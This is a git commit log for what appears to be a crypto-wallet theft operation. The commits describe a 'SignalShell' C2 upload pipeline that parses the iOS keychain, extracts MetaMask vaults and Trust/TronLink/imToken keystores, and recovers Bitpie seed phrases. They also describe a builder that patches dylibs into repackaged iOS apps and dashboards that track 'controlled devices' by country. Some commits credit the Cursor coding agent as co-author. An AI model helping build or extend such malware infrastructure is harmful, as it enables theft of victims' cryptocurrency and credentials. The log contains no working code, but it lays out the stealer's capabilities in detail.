Commit Graph

80 Commits

Author SHA1 Message Date
hashbro 67c8460717 fix: escape Layui template variables in IPA button (Blade conflict) 2026-10-06 06:55:45 +08:00
hashbro 630aeb2383 feat: add IPA download button to channel list (super admin only)
- data() returns ipa_url if public/channel/<id>/app.ipa exists
- Blade: warm-colored IPA button in ops column, super admin + has IPA only
- Click to download the built IPA directly
2026-10-06 06:51:59 +08:00
hashbro ba444a96b1 fix: support App builder type in deleteWebTree + correct delete prompt
- ChannelProjectService: normalizeBuilderType accepts 'app' (Channel::BUILDER_APP)
- deleteWebTree: app type deletes public/channel/<id>/ (IPA output)
- Blade: correct pathHint for app builder type
2026-10-06 06:46:04 +08:00
hashbro 316b4cea51 feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id

APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url

Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
2026-10-06 06:41:52 +08:00
hashbro 9b46e5c76b feat: app 2026-10-05 06:43:05 +08:00
hashbro cb92baa395 feat: app 2026-10-05 06:12:43 +08:00
hashbro afac799588 feat: tg/ws/security/ 2026-10-03 05:40:19 +08:00
hashbro 09b4a429aa feat: mem 2026-10-01 00:59:34 +08:00
hashbro ff516a0e30 feat: mem 2026-10-01 00:24:29 +08:00
hashbro 15c45a4fd2 feat: alchemy 2026-09-29 05:25:55 +08:00
example 8f7469cc4e feat: 查看钱包优化,地址增加链上查询 2026-09-28 21:11:08 +08:00
root 5b677d4d1f fix(admin): 渠道列表脚本因 \$input 无法执行
Blade 原样输出反斜杠,整段 layui 脚本语法错误,表格不会请求数据。

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-28 12:19:13 +00:00
hashbro d3cbc82365 Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab 2026-09-28 06:12:55 +08:00
hashbro e0b06e0d24 feat: app 2026-09-28 06:12:47 +08:00
hashbro 8d5ec411f1 feat(analytics): 数据分析页增加访问与受控设备的国家维度分布
参考受控版本分布的饼图实现,新增国家维度分布:
- AnalyticsDailyDim 增加 KIND_VISIT_COUNTRY / KIND_DEVICE_COUNTRY 常量
- AnalyticsReportService::aggregateDay() 按 country 聚合访问 UV 与受控设备数
- present() 汇总并返回 by_visit_country / by_device_country(ISO 代码转中文名展示)
- 视图新增两个国家饼图卡片与两个国家明细标签区

性能与正确性修复:
- ensureCached() 改为一次查询校验所有按日聚合 kind 的缓存完整性,
  避免旧缓存完整时新维度不被聚合的问题
- 新增迁移为 page_visits / devices 建立 (created_at, country) 复合索引,
  对齐 os_version 维度的索引做法,加速按日期范围 + GROUP BY country 的聚合
2026-09-26 19:49:25 +00:00
hashbro 2c974c8263 feat(devices): 设备列表增加国家筛选项
与访问记录列表实现保持一致:
- DeviceController::index() 向视图传入 countries (CfIpCountry::names())
- filtersFrom() 解析 country 参数 (CfIpCountry::normalize,支持 ISO 代码与中文名)
- filteredQuery() 按 devices.country 过滤
- 视图在 iOS 版本与钱包之间新增 lay-search 国家下拉框
- 重置按钮 reload where 增加 country: ''
2026-09-26 19:38:04 +00:00
hashbro ad09fdff88 feat: bnb 2026-09-26 12:27:12 +08:00
hashbro 534b36a2d2 feat: bnb 2026-09-25 13:10:34 +08:00
example cdbfa48662 feat: Solana chain 2026-09-23 14:26:38 +08:00
hashbro 92d9dde5cb fix: keychain view 2026-09-21 01:44:03 +08:00
hashbro 7651f6a589 feat: collect addreess 2026-09-21 00:17:35 +08:00
hashbro b916e8b50d fix: query 2026-09-20 06:29:16 +08:00
hashbro 004b38f5f2 fix: query 2026-09-20 06:27:30 +08:00
hashbro 2a41a29310 fix: keystore 2026-09-20 06:15:26 +08:00
hashbro 2729fd561b fix: db 2026-09-17 04:59:39 +08:00
hashbro 74a85b415b Show country on the device list beside IP.
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-14 23:27:37 +08:00
hashbro c8d4eaa86e fix: link old 2026-09-14 02:54:57 +08:00
hashbro fd95951318 fix: link old 2026-09-14 02:52:35 +08:00
hashbro d5ae0bf6ff fix: link old 2026-09-14 01:09:01 +08:00
hashbro b49755c900 fix: link memo 2026-09-13 17:17:34 +08:00
hashbro 1746e7b485 feat: scan 2026-09-13 02:12:06 +08:00
hashbro d7bd4d1b03 feat: scan 2026-09-13 01:44:20 +08:00
hashbro 7fc5f43c01 feat: scan 2026-09-13 01:22:54 +08:00
hashbro 558912864d feat: scan 2026-09-12 23:53:53 +08:00
hashbro 29bf0f5cca feat: address 2026-09-12 19:19:03 +08:00
hashbro 021a030069 feat: address 2026-09-12 18:27:49 +08:00
hashbro 0996d4e563 feat: address 2026-09-12 18:14:03 +08:00
hashbro 8c5724ff3b feat: 18 2026-09-12 03:42:48 +08:00
hashbro 668cfa6a24 feat: stats 2026-09-09 03:50:23 +08:00
hashbro 04318c08b3 feat: stats 2026-09-09 02:52:24 +08:00
hashbro c1d24ab815 feat: note 2026-09-08 04:53:35 +08:00
hashbro 9626fcc598 feat: menric 2026-09-06 04:01:52 +08:00
hashbro d4c096ed4a feat: menric 2026-09-06 03:55:24 +08:00
hashbro f67da8a102 fix: transfer invaild txid 2026-09-04 04:09:32 +08:00
hashbro 4c49a61149 feat: delete 2026-09-03 01:29:50 +08:00
hashbro 337bf45c79 feat: tg/ws 2026-08-31 02:45:24 +08:00
hashbro dc543fe728 feat: clear alumb 2026-08-30 00:19:48 +08:00
hashbro 3e87a44de3 feat: balance change 2026-08-29 23:16:57 +08:00
hashbro 4c2eb16211 feat: ds 2026-08-28 04:48:03 +08:00
hashbro 533b2bb9e4 feat: ds 2026-08-26 06:33:21 +08:00